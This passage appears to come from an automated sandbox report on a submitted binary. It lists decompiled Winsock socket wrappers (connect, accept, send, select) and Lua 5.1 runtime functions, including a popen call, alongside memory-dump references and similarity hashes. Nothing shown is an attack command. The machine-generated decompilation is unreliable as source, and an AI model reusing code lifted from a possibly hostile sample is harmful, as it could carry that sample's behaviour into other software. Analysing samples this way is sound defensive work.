lua_pushstring.LUA5.1(?,setsockopt failed,?,?,?,?,?,?,?,00592CCD,?,?,?,?,?,00000004), ref: 00592C75
lua_pushnumber.LUA5.1(?,00000000,3FF00000,?,?,?,?,?,00592CCD,?,?,?,?,?,00000004,?), ref: 00592C90

Strings

setsockopt failed, xrefs: 00592C6F

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnil.lua_pushnumber.lua_pushstring.
String ID: setsockopt failed
API String ID: 2312535656-3136062831
Opcode ID: 61b9a2a02483b56421d48082851c790fc0d13d2d4cd0eb44d887438aa1886f59
Instruction ID: 851bc6d87816857656d47dfe48b035cc96776d96def39d688c57c9d33a3e2dc0
Opcode Fuzzy Hash: 61b9a2a02483b56421d48082851c790fc0d13d2d4cd0eb44d887438aa1886f59
Instruction Fuzzy Hash: 04F01CB56083127BDB00EA58EC45F6B77EABFD8704F04495CF54493241D624EC068BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00593FE0, Relevance: 7.6, APIs: 5, Instructions: 112
networkCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00593FE0(intOrPtr* _a4, signed char _a8, signed int _a12) {
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v256;
				char _v260;
				intOrPtr _v516;
				char _v520;
				intOrPtr _v776;
				char _v780;
				signed int _v784;
				signed int _v788;
				char _v800;
				signed int _t30;
				intOrPtr* _t31;
				signed int _t33;
				intOrPtr _t35;
				signed int* _t40;
				signed char _t48;
				char* _t52;
				char* _t60;
				char* _t67;
				signed int _t79;

				_t30 = _a12;
				asm("fcomp qword [0x595168]");
				_t67 = 0;
				_t52 = 0;
				asm("fnstsw ax");
				_t60 = 0;
				_t40 = 0;
				if((_t30 & 0x00000040) == 0) {
					_t48 = _a8;
					_t31 = _a4;
					if((0x00000001 & _t48) != 0) {
						_v520 = 1;
						_v516 =  *_t31;
						_t67 =  &_v520;
					}
					if((_t48 & 0x00000002) != 0) {
						_v260 = 1;
						_v256 =  *_t31;
						_t52 =  &_v260;
					}
					if((_t48 & 0x00000006) != 0) {
						_v780 = 1;
						_v776 =  *_t31;
						_t60 =  &_v780;
					}
					_t33 = E00592D00(_a12, _a12);
					_t79 = st0;
					asm("fcomp qword [0x595168]");
					asm("fnstsw ax");
					if((_t33 & 0x00000001) != 0) {
						st0 = _t79;
					} else {
						L00594BD0();
						_v788 = _t33;
						asm("fild dword [esp+0x10]");
						asm("fsubr st0, st1");
						L00594BD0();
						st0 = st0 *  *0x5951d8;
						_v784 = _t33;
						_t40 =  &_v788;
					}
					_push(_t40);
					_push(_t60);
					_push(_t52);
					_push(_t67);
					_push(0); // executed
					L00594A58(); // executed
					if(_t33 != 0xffffffff) {
						if(_t33 != 0) {
							if(_v12 != 6) {
								L18:
								return 0;
							} else {
								_push( &_v800);
								_t35 =  *_v16;
								_push(_t35);
								L00594A40();
								if(_t35 == 0) {
									goto L18;
								} else {
									return 0xfffffffe;
								}
							}
						} else {
							return _t33 | 0xffffffff;
						}
					} else {
						L00594A52();
						return _t33;
					}
				} else {
					return _t30 | 0xffffffff;
				}
			}

0x00593fe0
0x00593fec
0x00593ff6
0x00593ff8
0x00593ffa
0x00593ffc
0x00593ffe
0x00594003
0x00594013
0x0059401a
0x00594028
0x0059402c
0x00594033
0x0059403a
0x0059403a
0x00594044
0x00594048
0x0059404f
0x00594056
0x00594056
0x00594060
0x00594064
0x00594068
0x0059406c
0x0059406c
0x00594078
0x0059407d
0x0059407f
0x00594088
0x0059408d
0x005940b7
0x0059408f
0x00594091
0x00594096
0x0059409a
0x0059409e
0x005940a6
0x005940ab
0x005940ad
0x005940b1
0x005940b1
0x005940b9
0x005940ba
0x005940bb
0x005940bc
0x005940bd
0x005940bf
0x005940c7
0x005940db
0x005940f3
0x0059411d
0x00594129
0x005940f5
0x00594100
0x00594101
0x00594103
0x00594104
0x0059410b
0x00000000
0x0059410d
0x0059411c
0x0059411c
0x0059410b
0x005940dd
0x005940ea
0x005940ea
0x005940c9
0x005940c9
0x005940d8
0x005940d8
0x00594005
0x00594012
0x00594012

APIs

_ftol.MSVCRT ref: 00594091
_ftol.MSVCRT ref: 005940A6
select.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 005940BF
WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 005940C9

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: _ftol$ErrorLastselect
String ID:
API String ID: 1742309442-0
Opcode ID: 05025c6eb3cabca7c21c06a47a65ea4171798f759a586a557a5d00309c95156f
Instruction ID: 61917ce97920534375e10b648acd29cef411e2756f5147ad88eaf4a81c36590a
Opcode Fuzzy Hash: 05025c6eb3cabca7c21c06a47a65ea4171798f759a586a557a5d00309c95156f
Instruction Fuzzy Hash: 8F311A715043055BCB319F64E845BDBBBD8FFC9370F00092AE65487290E735594ADF96

Uniqueness

Uniqueness Score: -1.00%

Function 10012800, Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

luaL_buffinit.LUA5.1(000000FF,?,00000000,?,?,?), ref: 10012814
luaL_prepbuffer.LUA5.1(?,?,?), ref: 1001283A
fread.MSVCRT ref: 1001284D
luaL_pushresult.LUA5.1(?), ref: 10012869
lua_objlen.LUA5.1(?,000000FF), ref: 10012883

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_buffinit.L_prepbuffer.L_pushresult.freadlua_objlen.
String ID:
API String ID: 4242377137-0
Opcode ID: e489b6195f4aeeb043b24270fe76e134f1e3a3b264eab297ca5676deef50e791
Instruction ID: 4ad5be1291d39b8c732e7b26d290fc9dd5cd2e1c0f2c4f5705421a37dc1118cf
Opcode Fuzzy Hash: e489b6195f4aeeb043b24270fe76e134f1e3a3b264eab297ca5676deef50e791
Instruction Fuzzy Hash: 1E0104F690434067E720D624EC85B7F77D8EBC4394F540A28FD6883246EA35E95482A2

Uniqueness

Uniqueness Score: -1.00%

Function 00594240, Relevance: 6.1, APIs: 4, Instructions: 59
networkCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00594240(signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				signed int _v28;
				signed int _t13;
				signed int* _t19;
				signed int* _t23;

				_t23 = _a4;
				_t13 =  *_t23;
				if(_t13 != 0xffffffff) {
					_push(_a12);
					_push(_a8);
					_push(_t13); // executed
					L00594A76(); // executed
					if(_t13 != 0) {
						L00594A52();
						_v8 = _t13;
						if(_t13 == 0x2733 || _t13 == 0x2734) {
							_t19 = _a4;
							asm("fcomp qword [0x595168]");
							asm("fnstsw ax");
							if((_t13 & 0x00000040) == 0) {
								_t13 = E00593FE0(_t23, 6, _t19);
								_v8 = _t13;
								if(_t13 == 0xfffffffe) {
									_v0 = 4;
									Sleep(0xa);
									_push( &_v0);
									_push( &_v8);
									_push(0x1007);
									_push(0xffff);
									_push( *_t23);
									L00594A70();
									_t13 = _v28;
									if(_t13 <= 0) {
										return 0xfffffffd;
									}
								}
								goto L11;
							} else {
								return _t13 | 0xffffffff;
							}
						} else {
							L11:
							return _t13;
						}
					} else {
						return _t13;
					}
				} else {
					return 0xfffffffe;
				}
			}

0x00594241
0x00594245
0x0059424a
0x0059425b
0x0059425c
0x0059425d
0x0059425e
0x00594265
0x00594269
0x00594273
0x00594277
0x00594280
0x00594286
0x0059428c
0x00594291
0x0059429c
0x005942a7
0x005942ab
0x005942af
0x005942b7
0x005942c7
0x005942c8
0x005942c9
0x005942ce
0x005942d3
0x005942d4
0x005942d9
0x005942df
0x00000000
0x005942e1
0x005942df
0x00000000
0x00594293
0x00594297
0x00594297
0x005942e7
0x005942e7
0x005942e7
0x005942e7
0x00594268
0x00594268
0x00594268
0x0059424c
0x00594252
0x00594252

APIs

connect.WSOCK32(?,?,00000010), ref: 0059425E

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: 9259db5484699f648fd71fbea1e38be2c1c8742d9fca694e2f0eb1f1f0473d31
Instruction ID: 8b1c069547a72ba40dd47f50e225dfe8205932ac7e1743345367ab9929aa7680
Opcode Fuzzy Hash: 9259db5484699f648fd71fbea1e38be2c1c8742d9fca694e2f0eb1f1f0473d31
Instruction Fuzzy Hash: 0811C67460C3026BDE20DB28F845E6B7B95FFC1360F108B19F1A4862D4E774DC468B92

Uniqueness

Uniqueness Score: -1.00%

Function 00594370, Relevance: 4.6, APIs: 3, Instructions: 61
networkCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00594370(intOrPtr* _a4, signed int _a8, char* _a12, char* _a16) {
				intOrPtr* _v4;
				char _v16;
				char _v20;
				intOrPtr _t9;
				char* _t13;
				char* _t15;
				intOrPtr* _t16;
				intOrPtr* _t17;
				void* _t18;

				_t18 =  &_v20;
				_t16 = _a4;
				_v20 = 0x10;
				_t9 =  *_t16;
				if(_t9 != 0xffffffff) {
					_t13 = _a12;
					if(_t13 == 0) {
						_t13 =  &_v16;
					}
					_t15 = _a16;
					if(_t15 == 0) {
						_t15 =  &_v20;
					}
					_push(_t15);
					_push(_t13);
					_push(_t9); // executed
					L00594A88(); // executed
					_t17 = _v4;
					 *_t17 = _t9;
					if(_t9 != 0xffffffff) {
						L11:
						return 0;
					} else {
						goto L7;
					}
					while(1) {
						L7:
						L00594A52();
						if(_t9 != 0x2733 && _t9 != 0x2745) {
							break;
						}
						_t9 = E00593FE0(_t16, 1, _a8);
						_t18 = _t18 + 0xc;
						if(_t9 == 0) {
							_push(_t15);
							_push(_t13);
							_push( *_t16); // executed
							L00594A88(); // executed
							 *_t17 = _t9;
							if(_t9 == 0xffffffff) {
								continue;
							} else {
								goto L11;
							}
							goto L13;
						}
						break;
					}
					return _t9;
				} else {
					return 0xfffffffe;
				}
				L13:
			}

0x00594370
0x00594376
0x0059437b
0x00594383
0x00594388
0x00594397
0x0059439d
0x0059439f
0x0059439f
0x005943a3
0x005943a9
0x005943ab
0x005943ab
0x005943af
0x005943b0
0x005943b1
0x005943b2
0x005943b7
0x005943be
0x005943c1
0x005943fc
0x00000000
0x00000000
0x00000000
0x00000000
0x005943c3
0x005943c3
0x005943c3
0x005943cd
0x00000000
0x00000000
0x005943de
0x005943e3
0x005943e8
0x005943ec
0x005943ed
0x005943ee
0x005943ef
0x005943f7
0x005943fa
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x005943fa
0x00000000
0x005943e8
0x00594405
0x0059438d
0x00594396
0x00594396
0x00000000

APIs

accept.WSOCK32(00000000,?,?), ref: 005943B2
WSAGetLastError.WSOCK32(00000000,?,00000010), ref: 005943C3
accept.WSOCK32(?,?,?), ref: 005943EF

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: accept$ErrorLast
String ID:
API String ID: 1462533708-0
Opcode ID: cf25e7cf73ae793265477ea430e8159a39877a8fcb667cb2e94859948ac662d2
Instruction ID: 43b16342f6d3af071d381f48baae77602ce3253d4e1dd099b26a0eba71677553
Opcode Fuzzy Hash: cf25e7cf73ae793265477ea430e8159a39877a8fcb667cb2e94859948ac662d2
Instruction Fuzzy Hash: 7011C27264034167DF20EA789C80D5F7BA9FBC0374F900F29F96083190E725DD8A8B61

Uniqueness

Uniqueness Score: -1.00%

Function 00594520, Relevance: 4.6, APIs: 3, Instructions: 53
networkCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00594520(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr* _v0;
				intOrPtr _t8;
				intOrPtr _t10;
				intOrPtr _t15;
				intOrPtr* _t17;
				signed int _t18;
				void* _t19;
				intOrPtr _t21;

				_t17 = _a4;
				 *_a16 = 0;
				_t8 =  *_t17;
				if(_t8 == 0xffffffff) {
					L8:
					_t8 = 0xfffffffe;
					goto L9;
				} else {
					_t15 = _a12;
					_t10 = _a8;
					_push(0);
					_push(_t15);
					_push(_t10);
					_push(_t8); // executed
					L00594A9A(); // executed
					_t21 = _t8;
					if(_t21 > 0) {
						L7:
						 *_v0 = _t8;
						return 0;
					} else {
						_t18 = _a4;
						while(_t21 != 0) {
							L00594A52();
							if(_t8 != 0x2733) {
								L9:
								return _t8;
							} else {
								_t8 = E00593FE0(_t17, 1, _t18);
								_t19 = _t19 + 0xc;
								if(_t8 != 0) {
									goto L9;
								} else {
									_push(_t8);
									_push(_t15);
									_push(_t10);
									_push( *_t17); // executed
									L00594A9A(); // executed
									if(_t8 <= 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							goto L10;
						}
						goto L8;
					}
				}
				L10:
			}

0x00594527
0x0059452b
0x00594532
0x00594537
0x0059458d
0x0059458d
0x00000000
0x00594539
0x00594539
0x0059453d
0x00594541
0x00594543
0x00594544
0x00594545
0x00594546
0x0059454b
0x0059454d
0x00594580
0x00594587
0x0059458c
0x0059454f
0x0059454f
0x00594553
0x00594555
0x0059455f
0x00594592
0x00594596
0x00594561
0x00594565
0x0059456a
0x0059456f
0x00000000
0x00594571
0x00594573
0x00594574
0x00594575
0x00594576
0x00594577
0x0059457e
0x00000000
0x00000000
0x00000000
0x00000000
0x0059457e
0x0059456f
0x00000000
0x0059455f
0x00000000
0x00594553
0x0059454d
0x00000000

APIs

#16.WSOCK32(00000000,00000000,00593AB5,00000000,?,00000000,00000008,00000000,00593AB5,00000000,?,00000000,?,00000008,00000008), ref: 00594546
WSAGetLastError.WSOCK32(00000000,00000000,00593AB5,00000000,?,00000000,00000008,00000000,00593AB5,00000000,?,00000000,?,00000008,00000008), ref: 00594555
#16.WSOCK32(?,00000000,00593AB5,00000000,?,00000008,00000008), ref: 00594577

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: ea393d2b268f888fc6993a91ebcf0250094ff3b44113fd35f46012b13dab9af8
Instruction ID: 5ee95c57066b82a1bfe97ad73c04a8003683e7b89bcc61be9a4ef8e1e8a56a0f
Opcode Fuzzy Hash: ea393d2b268f888fc6993a91ebcf0250094ff3b44113fd35f46012b13dab9af8
Instruction Fuzzy Hash: E90184722043416BDA20DEA9DC41E2FBBEDFFC5364F160A15F554C3281D725EC068E61

Uniqueness

Uniqueness Score: -1.00%

Function 00594410, Relevance: 4.6, APIs: 3, Instructions: 52
networkCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00594410(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr* _v0;
				intOrPtr _t8;
				intOrPtr _t10;
				intOrPtr _t14;
				intOrPtr* _t17;
				signed int _t18;
				void* _t19;

				_t17 = _a4;
				 *_a16 = 0;
				_t8 =  *_t17;
				if(_t8 != 0xffffffff) {
					_t14 = _a12;
					_t10 = _a8;
					_push(0);
					_push(_t14);
					_push(_t10);
					_push(_t8); // executed
					L00594A8E(); // executed
					if(_t8 > 0) {
						L7:
						 *_v0 = _t8;
						_t8 = 0;
					} else {
						_t18 = _a4;
						while(1) {
							L00594A52();
							if(_t8 != 0x2733) {
								goto L8;
							}
							_t8 = E00593FE0(_t17, 2, _t18);
							_t19 = _t19 + 0xc;
							if(_t8 == 0) {
								_push(_t8);
								_push(_t14);
								_push(_t10);
								_push( *_t17);
								L00594A8E();
								if(_t8 <= 0) {
									continue;
								} else {
									goto L7;
								}
							}
							goto L8;
						}
					}
					L8:
					return _t8;
				} else {
					return 0xfffffffe;
				}
			}

0x00594417
0x0059441b
0x00594422
0x00594427
0x00594433
0x00594437
0x0059443b
0x0059443d
0x0059443e
0x0059443f
0x00594440
0x00594447
0x00594478
0x0059447c
0x0059447e
0x00594449
0x00594449
0x0059444d
0x0059444d
0x00594457
0x00000000
0x00000000
0x0059445d
0x00594462
0x00594467
0x0059446b
0x0059446c
0x0059446d
0x0059446e
0x0059446f
0x00594476
0x00000000
0x00000000
0x00000000
0x00000000
0x00594476
0x00000000
0x00594467
0x0059444d
0x00594480
0x00594484
0x00594429
0x00594432
0x00594432

APIs

send.WSOCK32(?,?,?,00000000), ref: 00594440
WSAGetLastError.WSOCK32(00000000,?,00000000,00000008,005938CC,00000000,00000000,?,?,00000008,00000008), ref: 0059444D
send.WSOCK32(?,?,?,00000000), ref: 0059446F

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: send$ErrorLast
String ID:
API String ID: 2200680727-0
Opcode ID: f9400d50e3f443906086d3934821a862e90cf64b57206cacc83af9f029a2f15d
Instruction ID: 1004f7604b62f64f39b968fc2be75a713efca6cc2b1fbb65bab1cc6fbab5488e
Opcode Fuzzy Hash: f9400d50e3f443906086d3934821a862e90cf64b57206cacc83af9f029a2f15d
Instruction Fuzzy Hash: 4D018FB22003016BDE20DA69DC41F1BBBECFFC57A8F150A25F954D3281D325EC028A61

Uniqueness

Uniqueness Score: -1.00%

Function 10012230, Relevance: 4.5, APIs: 3, Instructions: 42COMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 1001223D

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_optlstring.LUA5.1(?,00000002,10019B5C,00000000,?,00000001,00000000), ref: 1001224E

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

Part of subcall function 100121F0: lua_newuserdata.LUA5.1(?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600,00000001,stdin,?,1001A2F0,10017718), ref: 100121F9
Part of subcall function 100121F0: lua_getfield.LUA5.1(?,FFFFD8F0,FILE*,?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600,00000001,stdin), ref: 10012211
Part of subcall function 100121F0: lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,FILE*,?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600), ref: 10012219

_popen.MSVCRT ref: 1001225F

Part of subcall function 10012160: _errno.MSVCRT ref: 10012161
Part of subcall function 10012160: lua_pushboolean.LUA5.1(?,00000001), ref: 10012178

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checklstring.L_optlstring._errno_popenlua_getfield.lua_newuserdata.lua_pushboolean.lua_setmetatable.lua_tolstring.lua_type.
String ID:
API String ID: 2141765425-0
Opcode ID: 1b9f9a8203b717d7f9cdbdccf713ab9f45626a77267ce9015653296654bca36f
Instruction ID: 3a763aaa4a24b51fe25d752ee69d6ebfa6f7346967f013181f491545304336d5
Opcode Fuzzy Hash: 1b9f9a8203b717d7f9cdbdccf713ab9f45626a77267ce9015653296654bca36f
Instruction Fuzzy Hash: 87F0A77674131437E61092796C46F9B739CDF966A5F004026F704EA142D6B1E85012B4

Uniqueness

Uniqueness Score: -1.00%

Function 00594660, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00594660(char _a4) {
				intOrPtr _v4;
				void* _t3;
				void* _t6;

				_t1 =  &_a4; // 0x594324
				_t3 = _t6;
				_push(_t3);
				_push(0x8004667e);
				_v4 = 1;
				_push( *((intOrPtr*)( *_t1))); // executed
				L00594AA6(); // executed
				return _t3;
			}

0x00594661
0x00594665
0x00594669
0x0059466a
0x00594671
0x00594679
0x0059467a
0x00594680

APIs

ioctlsocket.WSOCK32(?,8004667E,00000000), ref: 0059467A

Strings

$CY, xrefs: 00594661

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: ioctlsocket
String ID: $CY
API String ID: 3577187118-166118072
Opcode ID: d6897b57cc25738280dae354cd98ec04d7e5afbedfd3746b1a567c451c05e740
Instruction ID: a4150333fbca0578c355e23cb5f07c570fc31127b3c82a4afb47ed8171c7331f
Opcode Fuzzy Hash: d6897b57cc25738280dae354cd98ec04d7e5afbedfd3746b1a567c451c05e740
Instruction Fuzzy Hash: 9FC012B4108202AFCA14CB10C880D2BBBAAABC4348F20880CF18946270CA30A8998B16

Uniqueness

Uniqueness Score: -1.00%

Function 10005380, Relevance: 3.2, APIs: 2, Instructions: 184COMMON

Download Yara Rule

APIs

luaD_growstack.LUA5.1(?,?,?,?,?,?,100058E3,?,00000000,?,?,1000D397,?,?,00000001,?), ref: 100053D8

Part of subcall function 10005720: luaD_growstack.LUA5.1(?,00000001,00000000,?,?,?,?,0000000F,?,?,00000002,?,?), ref: 1000578C

Part of subcall function 100055C0: luaS_newlstr.LUA5.1(?,100191FC,00000001,?,?,?,00000000,?,?,?,?,0000000F,?,?,00000002,?), ref: 100056A3

luaD_growstack.LUA5.1(?,00000014,?,?,100058E3,?,00000000,?,?,1000D397,?,?,00000001,?,?,1000DAED), ref: 100054CA

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: D_growstack.$S_newlstr.
String ID:
API String ID: 2626842547-0
Opcode ID: 17421fc5a16f71d554b5809329acc4d5891ae48adf4cfbc316a80af513db4be3
Instruction ID: e184185b7454955c6c84427ec393a5ac30eff78feb548041c94428ece2f973c3
Opcode Fuzzy Hash: 17421fc5a16f71d554b5809329acc4d5891ae48adf4cfbc316a80af513db4be3
Instruction Fuzzy Hash: 5A6136B5600B008FE324CF29D89096BB7F1FF89345B15862CE48A87726E731F945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00593F80, Relevance: 3.0, APIs: 2, Instructions: 27
networkCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00593F80() {
				intOrPtr* _t1;
				intOrPtr _t3;
				intOrPtr* _t9;

				_t1 = _t9;
				_push(_t1);
				_push(2); // executed
				L00594A4C(); // executed
				if(_t1 != 0) {
					L4:
					return 0;
				} else {
					_t3 =  *_t9;
					if(_t3 != 2) {
						if(_t3 != 1 || _t3 != _t3) {
							goto L3;
						} else {
							goto L7;
						}
					} else {
						if(_t3 == 0) {
							L7:
							return 1;
						} else {
							L3:
							L00594A46();
							goto L4;
						}
					}
				}
			}

0x00593f86
0x00593f8a
0x00593f8b
0x00593f8d
0x00593f94
0x00593fac
0x00593fb4
0x00593f96
0x00593f96
0x00593f9d
0x00593fb7
0x00000000
0x00000000
0x00000000
0x00000000
0x00593f9f
0x00593fa5
0x00593fc1
0x00593fcc
0x00593fa7
0x00593fa7
0x00593fa7
0x00000000
0x00593fa7
0x00593fa5
0x00593f9d

APIs

WSAStartup.WSOCK32(00000002), ref: 00593F8D
WSACleanup.WSOCK32 ref: 00593FA7

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: CleanupStartup
String ID:
API String ID: 915672949-0
Opcode ID: d3104da094db48f15728ce6ef756ec913b760ef4086ca7d835e3485bd46d7896
Instruction ID: 8c1b9203c75ea0f66cef7e6faaaba724daa9297d47cbe4c9288d2d1b7208afc3
Opcode Fuzzy Hash: d3104da094db48f15728ce6ef756ec913b760ef4086ca7d835e3485bd46d7896
Instruction Fuzzy Hash: A9E02664D8010157EF6562645422BF71BAF3BD8300FC00064F84CC3281FA2ECE4F4016

Uniqueness

Uniqueness Score: -1.00%

Function 10010090, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

free.MSVCRT(?), ref: 1001009D
realloc.MSVCRT ref: 100100AF

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: freerealloc
String ID:
API String ID: 786099813-0
Opcode ID: 40fd9e2cd0bf85e0ea9bccb093e093950441798bc4d91a4fb941f470ad60bd9c
Instruction ID: 6547882ae7c61952b437aafe81ccd9b06673fd920de3c4d36674be54a85d3430
Opcode Fuzzy Hash: 40fd9e2cd0bf85e0ea9bccb093e093950441798bc4d91a4fb941f470ad60bd9c
Instruction Fuzzy Hash: 1FD092B4B14302EBE701DB74EC8891B76E8BF88245F448868F589C3110EA35D9588A22

Uniqueness

Uniqueness Score: -1.00%

Function 100164D0, Relevance: 3.0, APIs: 2, Instructions: 13fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 100164DA
fclose.MSVCRT ref: 100164E9

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: fclosefopen
String ID:
API String ID: 1280645193-0
Opcode ID: d03af9d1ae75d77d7212938322fd9a1b41951e3d2c98b886ffaf4f5f32a9ba62
